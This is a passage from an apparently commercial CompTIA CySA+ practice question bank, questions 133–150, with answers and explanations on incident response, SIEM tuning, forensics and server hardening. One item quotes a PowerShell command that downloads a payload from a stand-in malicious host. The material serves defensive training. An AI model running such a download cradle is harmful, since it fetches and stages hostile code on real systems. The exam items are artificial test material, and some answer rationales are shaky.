Option A is wrong because applying all available updates after restoration does not recover the modifications made on the day of the attack; updates address vulnerabilities, not data changes. Option C is wrong because attempting to decrypt files using the ransom key is unreliable, as the attacker may not provide the key, the key may be invalid, or decryption could further corrupt files; it also violates the principle of not negotiating with attackers. Option D is wrong because restoring all files from backups would overwrite the critical files modified on the day of the attack, resulting in permanent data loss of those legitimate changes.

133
MCQmedium

A security analyst notices that a system is sending a large amount of data to an external IP address via DNS tunneling. Which containment technique is most appropriate?

A.Change the DNS server settings
B.Disconnect the system from the network
C.Block the external IP at the firewall
D.Disable the DNS service on the system
AnswerB

Disconnecting the system from the network is the most immediate and effective first response to suspected data exfiltration via tunneling. This action instantly severs all network communication, preventing any further data loss, command and control (C2) traffic, or lateral movement by the attacker. It provides a critical window for incident responders to analyze the system in a controlled environment without ongoing risk.

Why this answer

Disconnecting the system from the network (Option B) is the most appropriate containment technique because it immediately stops all data exfiltration, including DNS tunneling traffic, without relying on any other network component. DNS tunneling works by encoding data within DNS queries and responses, so simply changing DNS server settings or blocking the external IP may not stop the attack if the malware uses fallback resolvers or rotates IPs. Disconnecting the system ensures the threat is isolated at the host level, preventing further data loss while preserving forensic evidence.

Exam trap

CompTIA often tests the principle that containment must be immediate and host-level for active data exfiltration, and the trap here is that candidates choose firewall-based blocking (Option C) thinking it stops the traffic, but fail to realize the attacker can easily change IPs or use multiple resolvers, making host isolation the only sure containment.

How to eliminate wrong answers

Option A is wrong because changing the DNS server settings does not stop the tunneling if the malware already has a hardcoded external resolver or uses direct IP connections to the command-and-control server; it also may disrupt legitimate DNS resolution for other systems. Option C is wrong because blocking the external IP at the firewall is a reactive measure that can be bypassed by the attacker using multiple IP addresses, domain generation algorithms (DGAs), or rotating resolvers; it also does not stop data already in transit. Option D is wrong because disabling the DNS service on the system would break all legitimate DNS resolution for that host, potentially alerting the user or causing system instability, and the malware could still tunnel data over other protocols or use raw sockets.

134
MCQeasy

Which component of an incident report describes the sequence of events from detection to resolution?

A.Root cause
B.Impact assessment
C.Lessons learned
D.Timeline
AnswerD

Correct. The timeline is the section of an incident report that chronologically documents every key event, from initial detection through containment, eradication, and recovery, typically with precise timestamps, giving responders and auditors a clear record of how the incident unfolded and how quickly the team reacted.

Why this answer

The timeline (also called the chronology or sequence of events) is the section of an incident report that documents the chronological order of activities from initial detection through containment, eradication, recovery, and closure. It provides a factual, time-stamped record that allows responders and reviewers to reconstruct exactly what happened and when. This is distinct from root cause analysis, which explains why the incident occurred, and from impact assessment, which quantifies the damage or business effect.

Exam trap

CS0-004 often tests the distinction between the 'what/when' (timeline) and the 'why' (root cause) or 'so what' (impact assessment, lessons learned) sections of an incident report, causing candidates to confuse documentation of events with analysis of causes or outcomes.

How to eliminate wrong answers

Option A is wrong because root cause identifies the underlying vulnerability, misconfiguration, or failure that enabled the incident—it answers 'why,' not 'what happened when.' Option B is wrong because impact assessment quantifies the scope, financial cost, data loss, and operational disruption caused by the incident, not the chronological sequence. Option C is wrong because lessons learned captures post-incident recommendations, process improvements, and corrective actions to prevent recurrence, which is forward-looking rather than a historical record of events.

135
MCQmedium

A security team is reviewing cloud audit logs from AWS CloudTrail and notices repeated API calls to create EC2 instances in a region where the organization has no presence. What is the most likely cause?

A.Compromised AWS credentials
B.Configuration drift
C.Service outage
D.Valid administrative activity
AnswerA

When threat actors acquire leaked or stolen AWS Access Keys, they frequently leverage programmatic access to bypass MFA and spin up high-compute EC2 instances for cryptomining. This malicious activity is typically detected via AWS CloudTrail logs showing API calls originating from unfamiliar IP addresses or targeting unused geographic regions.

Why this answer

Unauthorized API calls to create resources in unusual regions often indicate compromised credentials or an attacker using the account for cryptomining.

136
MCQhard

An analyst is investigating an EDR alert showing that 'powershell.exe' was launched by 'winword.exe' with the command: 'powershell -Command Invoke-WebRequest -Uri http://malicious.com/payload.ps1 -OutFile C:\Users\Public\payload.ps1'. Which LOLBin technique is being observed?

A.PowerShell download cradle
B.WMI persistence
C.Scheduled task creation
D.DLL side-loading
AnswerA

This option is correct because the EDR alert describes a PowerShell download cradle, a classic Living off the Land (LotL) technique where command-line utilities like Invoke-WebRequest or Net.WebClient are abused to fetch and execute malicious code. Security analysts frequently flag these patterns because they bypass traditional file-based detection mechanisms by leveraging trusted system binaries to download payloads directly into memory or disk.

Why this answer

The attack chain involves a Microsoft Office document (winword.exe) launching PowerShell to download a payload. This is a classic LOLBin technique using PowerShell for code execution and download cradles.

137
Multi-Selectmedium

An organization is preparing evidence for an audit of access controls. Which THREE types of evidence should be collected? (Select THREE.)

Select 3 answers
A.Network flow data
B.Access review documentation
C.Vulnerability scan reports
D.Log exports of user access events
E.Incident response reports
AnswersB, C, D

This is the strongest evidence because it demonstrates a formal, recurring process where managers or data owners explicitly certify which users have access to which systems and data, and whether that access remains appropriate. It shows that the organization systematically validates least privilege, detects orphaned accounts, and documents corrective actions after each review cycle. Auditors expect to see these review records to prove that access rights are not just assigned but continuously governed.

Why this answer

Access review documentation (B) is correct because periodic user access reviews are the primary artifact proving that entitlements are authorized, appropriate, and revoked when no longer needed, directly evidencing access control governance. Vulnerability scan reports (C) are correct because they show whether access-related weaknesses (e.g., missing patches, misconfigurations, default credentials) exist and are being remediated, supporting the audit's assessment of control effectiveness. Log exports of user access events (D) are correct because authentication and authorization logs (e.g., Windows Security event IDs 4624/4625, sudo/syslog entries, cloud trail records) provide the raw, timestamped proof that access controls actually operate as intended.

Network flow data (A) is not selected because flow records (NetFlow/IPFIX) show traffic patterns and volumes, not user identity or authorization decisions, so they do not directly evidence access control. Incident response reports (E) are not selected because they document security incidents and containment actions, which relate to incident management rather than the access control audit evidence requested.

Exam trap

The trap is selecting incident response reports or network flow data because they sound security-related, when the audit specifically demands evidence of access control design and operation.

138
Multi-Selecteasy

An end-user reports receiving an email with an unexpected attachment and urgent language requesting to click a link. Which TWO indicators confirm this is likely a phishing email?

Select 2 answers
A.Personalized greeting using the recipient's name.
B.Unexpected attachment.
C.Internal sender address.
D.Corporate logo in the email.
E.Urgent language.
AnswersB, E

Unexpected attachments represent a high-risk delivery mechanism for malware, such as trojans, ransomware, or malicious macros. Security analysts treat unsolicited files with extreme suspicion because executing them can bypass perimeter defenses and initiate unauthorized code execution directly on the endpoint, making this a primary indicator of a phishing attempt.

Why this answer

Unexpected attachments are a classic indicator of phishing, as attackers often use them to deliver malware or initiate social engineering attacks. The email's urgent language (Option E) is also correct, as it pressures the recipient to bypass normal security checks and click a malicious link or open the attachment without verifying the sender.

Exam trap

CompTIA often tests the misconception that personalized greetings or corporate logos are reliable indicators of legitimacy, when in fact these can be easily fabricated by attackers using open-source intelligence (OSINT) or simple HTML/CSS replication.

139
MCQeasy

A security analyst is reviewing a NetFlow record that shows a large amount of data being transferred from an internal server to an external IP address on port 443 during non-business hours. Which type of activity should the analyst suspect?

A.Denial-of-service attack
B.Port scanning
C.Normal backup operation
D.Data exfiltration
AnswerD

Data exfiltration is characterized by an anomalous, large-volume outbound data transfer, often utilizing encrypted protocols like HTTPS or SFTP to bypass deep packet inspection. The NetFlow record's asymmetric flow pattern—showing minimal inbound bytes and a massive outbound payload to an external host—is a classic indicator of compromise. This signature points directly to an attacker successfully staging and extracting sensitive corporate data.

Why this answer

Data exfiltration is correct because the pattern — a large volume of data transferred from an internal server to an external IP on port 443 during non-business hours — matches the classic signature of data exfiltration. Port 443 (HTTPS) is commonly used to blend in with normal encrypted web traffic, and off-hours timing plus high volume to an external destination indicates unauthorized data transfer.

Exam trap

CS0-004 often tests the confusion between exfiltration and DoS — candidates see 'large amount of data' and think attack volume, but the direction (outbound to external IP) and timing (off-hours) are the discriminators for exfiltration.

How to eliminate wrong answers

Option A is wrong because a denial-of-service attack is characterized by flooding a target with traffic to exhaust resources, not by a large outbound transfer from an internal server to an external IP; DoS would show high inbound or reflected traffic patterns. Option B is wrong because port scanning involves many connection attempts to multiple ports with little data transfer, producing small SYN packets across a port range — not a large sustained data flow on a single port. Option C is wrong because normal backup operations typically target internal backup servers or known cloud backup endpoints on scheduled windows, and the question frames the external IP and off-hours timing as suspicious; a legitimate backup would be to a known, authorized destination, not an unidentified external IP.

140
Multi-Selectmedium

A SOC is onboarding endpoint logs into a SIEM. Which fields are most important for process-chain investigations? (Choose three.)

Select 3 answers
A.Parent process name and command line
B.Monitor refresh rate
C.User and host identifiers
D.Child process command line
AnswersA, C, D

Capturing the parent process name and its full command line is fundamental for establishing the lineage of execution, providing critical context on how a process was initiated. This allows security analysts to trace the origin of suspicious activity, such as a malicious executable being launched by an unexpected parent like a web browser or a document reader. Understanding the parent-child relationship helps in identifying privilege escalation, lateral movement, and the initial access vector of an attack, which is crucial for reconstructing an attack chain.

Why this answer

Parent process name and command line are critical for process-chain investigations because they establish the lineage of an execution event. In a SIEM, these fields allow analysts to trace how a process was spawned, identifying whether it originated from a legitimate application (e.g., explorer.exe) or a suspicious parent (e.g., wscript.exe launching cmd.exe). Without this context, it is impossible to reconstruct the attack kill chain from initial execution to lateral movement or privilege escalation.

Exam trap

The CS0-004 exam often tests the distinction between fields that are merely available in logs versus those that are essential for reconstructing process ancestry; candidates mistakenly choose generic fields like 'source IP' or 'timestamp' instead of the specific parent/child process fields required for chain-of-execution analysis.

141
MCQeasy

A security analyst has identified a large number of false positives in a vulnerability scan report. Which of the following is the BEST way to reduce false positives in future scans?

A.Manually verify each vulnerability before reporting
B.Increase the frequency of vulnerability scans
C.Exclude the false positives from the report
D.Tune the vulnerability scanner's configuration
AnswerD

Tuning the vulnerability scanner's configuration is the most effective and proactive method to reduce false positives by directly refining its detection capabilities. This involves adjusting parameters such as plugin selection, sensitivity levels, authentication credentials, and exclusion rules to better match the target environment. Proper tuning ensures the scanner accurately distinguishes between actual vulnerabilities and benign conditions, significantly improving the precision of future scan results and reducing analyst workload.

Why this answer

Tuning the vulnerability scanner's configuration (option D) is the best approach because it allows the analyst to adjust scan parameters such as credential settings, plugin thresholds, and network timeouts to match the target environment. This reduces false positives by ensuring the scanner accurately identifies real vulnerabilities rather than reporting benign deviations or configuration mismatches. For example, enabling authenticated scans with valid credentials eliminates many false positives related to missing patches that are actually installed.

Exam trap

CompTIA often tests the misconception that manual verification or exclusion is a valid long-term fix, but the correct answer always involves adjusting the scanner's configuration to prevent false positives at the source.

How to eliminate wrong answers

Option A is wrong because manually verifying each vulnerability before reporting is a post-scan validation step, not a method to reduce false positives in future scans; it adds overhead without addressing the root cause of scanner misconfiguration. Option B is wrong because increasing scan frequency does not improve accuracy—it only repeats the same flawed scan logic more often, potentially generating even more false positives. Option C is wrong because excluding false positives from the report merely hides the problem without fixing the scanner's detection rules or tuning parameters, leading to continued inaccurate results.

142
MCQhard

During an incident, the security team discovers that customer personally identifiable information (PII) was exfiltrated. Which of the following notifications must be made according to GDPR?

A.Notify law enforcement within 48 hours
B.Notify all customers within 24 hours
C.Notify the supervisory authority within 72 hours and affected individuals without undue delay if high risk
D.Notify the data protection officer only
AnswerC

This option accurately reflects Article 33 and Article 34 of the GDPR. Organizations must notify the relevant supervisory authority within 72 hours of becoming aware of a personal data breach, unless it is unlikely to pose a risk. If the breach presents a high risk to individuals' rights and freedoms, those affected must also be notified without undue delay.

Why this answer

Under GDPR, if a breach is likely to result in a high risk to individuals, the organization must notify the affected data subjects without undue delay.

143
MCQmedium

A company wants to ensure that all servers are patched within 30 days of a critical patch release. The security team must verify compliance without causing downtime. Which of the following is the best approach?

A.Perform manual patch verification on a rotating schedule.
B.Conduct automated vulnerability scanning of the server IP ranges.
C.Deploy an agent-based patch management solution to all servers.
D.Implement network segmentation to isolate unpatched servers.
AnswerB

Scanning server IP ranges from the network requires no software installation on the hosts themselves, so it verifies patch compliance without touching running processes or requiring a reboot, satisfying the requirement to confirm remediation status without introducing downtime risk.

Why this answer

Automated vulnerability scanning provides a non-intrusive method to check patch levels without affecting system availability. Manual checks are inefficient; agent-based solutions are effective but may introduce overhead; network segmentation does not verify patch compliance.

144
MCQhard

A business owner accepts delayed remediation for a production system. What must the report include? If the primary audience is executive leadership, which content choice is most appropriate?

A.A permanent exception with no review
B.Risk owner, reason, compensating controls, review date, and expiry
C.Only the analyst's personal opinion
D.No mention of the accepted risk
AnswerB

Executive leadership needs business-level accountability, not technical detail, so the report must name the risk owner, justify the delay, list compensating controls, and set review and expiry dates. This satisfies the stem's primary-audience constraint by enabling informed risk acceptance decisions.

Why this answer

When a business owner accepts delayed remediation for a production system, the report must formally document the risk owner, the reason for the delay, any compensating controls in place, a scheduled review date, and an expiry date. This ensures accountability, traceability, and that the risk is not permanently ignored, aligning with risk management frameworks like NIST SP 800-37 or ISO 27001.

Exam trap

The CS0-004 exam often tests the misconception that risk acceptance can be permanent or that a single opinion suffices, but the exam requires documentation of ownership, controls, and a mandatory review/expiry cycle to ensure governance and auditability.

How to eliminate wrong answers

Option A is wrong because a permanent exception with no review violates the principle of continuous monitoring and risk acceptance; risk acceptance must be time-bound and reviewed periodically to ensure compensating controls remain effective. Option C is wrong because including only the analyst's personal opinion lacks objective evidence, stakeholder accountability, and fails to meet compliance or audit requirements for risk acceptance documentation.

145
MCQeasy

Which of the following is a persistence mechanism that involves modifying the Windows Registry to execute a program when a user logs in?

A.Scheduled Task
B.Run key
C.Service
D.Startup folder
AnswerB

The "Run" and "RunOnce" Registry keys are classic and highly effective persistence mechanisms. Entries added to `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` or `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` instruct Windows to automatically launch specified programs or scripts every time a user logs on. This direct Registry modification ensures the malicious payload executes without requiring user interaction, making it a prime target for attackers seeking to maintain access.

Why this answer

The 'Run' registry key is commonly used to launch programs automatically at user logon, making it a persistence mechanism.

146
MCQmedium

An organization's security team receives an alert about a potential ransomware infection on a critical server. The severity classification is 'high' because the server supports a production database. According to the incident response plan, which containment action should be taken first to minimize data loss?

A.Reboot the server to clear the ransomware from memory.
B.Disconnect the server from the network.
C.Kill the ransomware process using task manager.
D.Create a full disk image of the server before any action.
AnswerB

Disconnecting the server from the network is the most effective immediate containment action because it halts lateral movement to other network segments and prevents the ransomware from communicating with its command-and-control (C2) server. This isolation stops the spread of the infection and prevents the exfiltration of sensitive data while preserving the system's volatile memory for subsequent forensic analysis.

Why this answer

Isolating the network connection prevents lateral movement and further encryption while preserving evidence for forensic analysis.

147
Multi-Selectmedium

A security team is deploying a new web application and wants to ensure it follows secure configuration practices. Which THREE of the following are recommended configuration settings according to CIS benchmarks for web servers? (Select THREE.)

Select 3 answers
A.Disable directory listing
B.Use HTTP instead of HTTPS
C.Enforce HTTPS
D.Enable automatic directory browsing
E.Remove default accounts
AnswersA, C, E

Disabling directory listing on the web server prevents attackers from enumerating filenames and directory structure when no index file exists. Without this setting, requesting a directory returns a browsable list of all assets, exposing configuration backups, source code, or sensitive data. It is a core hardening step that reduces reconnaissance surface.

Why this answer

Option A (Disable directory listing) is correct because CIS benchmarks for web servers require turning off autoindex/directory browsing so that attackers cannot enumerate files and directories that lack an index page, reducing information disclosure. Option C (Enforce HTTPS) is correct because CIS guidance mandates TLS-protected transport, typically by redirecting or rejecting plain HTTP and configuring strong protocols/ciphers, to protect credentials and session data in transit. Option E (Remove default accounts) is correct because CIS benchmarks require deleting or disabling vendor-supplied default accounts and sample content, since these often ship with well-known credentials and are a common initial-access vector.

Option B (Use HTTP instead of HTTPS) does not belong because plain HTTP transmits data unencrypted and directly contradicts the requirement to enforce HTTPS. Option D (Enable automatic directory browsing) does not belong because automatic directory listing is the exact behavior that disabling directory listing is meant to prevent, and it exposes the server's file structure to unauthenticated users.

Exam trap

CS0-004 often tests whether candidates recognize that 'enable directory browsing' and 'use HTTP' are anti-patterns — the trap is selecting options that sound like configuration features but actually weaken security.

148
MCQmedium

A security analyst is tuning a SIEM rule that triggers on any process creation event involving 'rundll32.exe'. The rule generates many false positives from legitimate software updates. Which tuning action would most effectively reduce false positives while maintaining detection of malicious use?

A.Add an exclusion list for known good command-line arguments or parent processes
B.Change the rule to trigger only on network connections from rundll32.exe
C.Disable the rule entirely
D.Increase the severity threshold of the rule
AnswerA

By implementing a baseline of authorized parent-child process relationships or whitelisting known-good command-line arguments, analysts can significantly suppress benign positive alerts. This targeted tuning preserves the SIEM's ability to detect anomalous or unauthorized executions of the binary while minimizing alert fatigue.

Why this answer

Creating an exception list for known legitimate processes or command lines that use rundll32.exe reduces false positives. However, the best approach is to modify the rule to include specific conditions such as parent process or command-line arguments that indicate malicious activity.

149
MCQmedium

A security analyst is performing static analysis on a suspicious PE file. Which initial step should the analyst take to understand the file's imports and potential capabilities?

A.Create a YARA rule based on hash characteristics.
B.Run the file in a sandbox and observe behavior.
C.Extract strings from the file.
D.Analyze the PE header and import table.
AnswerD

Examining the Portable Executable (PE) header and its Import Address Table (IAT) is a fundamental static analysis technique that reveals the specific dynamic-link libraries (DLLs) and functions the executable requests from the operating system. This structural analysis allows the analyst to infer the program's intended capabilities, such as network communication or registry modification, without executing the code.

Why this answer

Analyzing the import table reveals which Windows API functions the file uses, providing insight into its functionality (e.g., network, file, or registry operations).

150
Multi-Selecthard

During a forensic investigation, an analyst needs to acquire disk images from multiple suspect drives. Which THREE practices ensure forensic soundness? (Select THREE)

Select 3 answers
A.Documenting the chain of custody for each drive
B.Using the fastest available imaging method without verification
C.Computing and verifying hashes (e.g., SHA-256) of the original and the image
D.Using a hardware write blocker to prevent writes to the source drive
E.Acquiring the image while the system is running (live acquisition)
AnswersA, C, D

Chain of custody documentation is critical because it creates a verifiable, chronological record of every person who handled the evidence, along with the time, purpose, and condition of each transfer. In a forensic investigation, this paper trail ensures legal admissibility; if the chain is unbroken, the court can trust that the evidence has not been tampered with or substituted. Without proper documentation, even a technically perfect disk image could be ruled inadmissible, undermining the entire investigation.

Why this answer

Option A is correct because documenting the chain of custody for each drive creates an auditable record of who handled the evidence, when, and under what conditions, which is essential for the evidence to be admissible and for forensic soundness. Option C is correct because computing and verifying cryptographic hashes such as SHA-256 (or MD5) of both the original drive and the resulting image proves the image is a bit-for-bit duplicate and that no alteration occurred during acquisition. Option D is correct because a hardware write blocker enforces a read-only connection to the source drive at the hardware level, preventing any writes or metadata changes that would taint the original evidence.

Option B is not appropriate because speed without verification sacrifices integrity; forensic imaging must prioritize accuracy and validation over raw throughput. Option E is not appropriate because live acquisition alters the running system's state and memory, introduces volatility and potential contamination, and is generally reserved for situations where a dead-box acquisition is impossible.

Exam trap

CS0-004 often tests the difference between practices that ensure forensic soundness and those that compromise it; candidates may select live acquisition as a best practice when it is actually a last resort.

Page 1

Page 2 of 10

Page 3

All pages